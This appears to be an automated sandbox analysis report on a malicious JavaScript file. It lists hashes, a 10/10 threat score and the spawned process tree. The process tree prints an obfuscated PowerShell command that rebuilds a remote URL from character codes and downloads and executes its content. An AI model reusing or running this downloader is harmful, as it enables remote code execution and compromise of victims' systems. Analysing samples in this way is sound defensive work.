Analysis
-
max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 15:03
General
-
Target
47f5066d56405ce742ca51bf7b08c57ae3162d1e71a37377622d80b2cfa4e270.js
-
Size
260KB
-
MD5
4428460474aab08080959201f4c92e49
-
SHA1
c886dbdf025873eaa6fea622bc9f07cbdcb32ec8
-
SHA256
47f5066d56405ce742ca51bf7b08c57ae3162d1e71a37377622d80b2cfa4e270
-
SHA512
2e1a1152dbefa9921f5e103475ae703f47638689a5b5d8b5d8e7fc326bafc51adec911540b9f6e75520c1e0a1cd60ffa5c0f9fc855226bf5c4a33e042f890f37
-
SSDEEP
1536:nwThJnwjid8P1B8hDG6R1mnNX7kyTknlPnwjid8P1B8hDp6R1mnNX7kyTknl46Rc:nomlTs3flTs8lTsGNT
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\47f5066d56405ce742ca51bf7b08c57ae3162d1e71a37377622d80b2cfa4e270.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $gyxqsmtrnkudzh='ur' ;new-alias printout c$($gyxqsmtrnkudzh)l;$rscmbkxtdegiow=(8166,8177,8185,8169,8171,8166,8186,8185,8190,8123,8185,8119,8166,8114,8184,8179,8180,8115,8117,8114,8180,8172,8180,8131,8183,8129,8177,8173,8178,8184,8183,8118,8117);$jcoxmfvp=('bronx','get-cmdlet');$vimocyzjq=$rscmbkxtdegiow;foreach($hixauyglwq in $vimocyzjq){$rbywjlumoak=$hixauyglwq;$esvtzwnrxmqya=$esvtzwnrxmqya+[char]($rbywjlumoak-8068);$crzqxjmygtob=$esvtzwnrxmqya; $lqwhjpz=$crzqxjmygtob};$gsdmpxnlbifuh[2]=$lqwhjpz;$funlkjcv='rl';$esdcbkxoajtgyn=1;.$([char](9992-9887)+'e'+'x')(printout -useb $lqwhjpz)1⤵
- Process spawned unexpected child process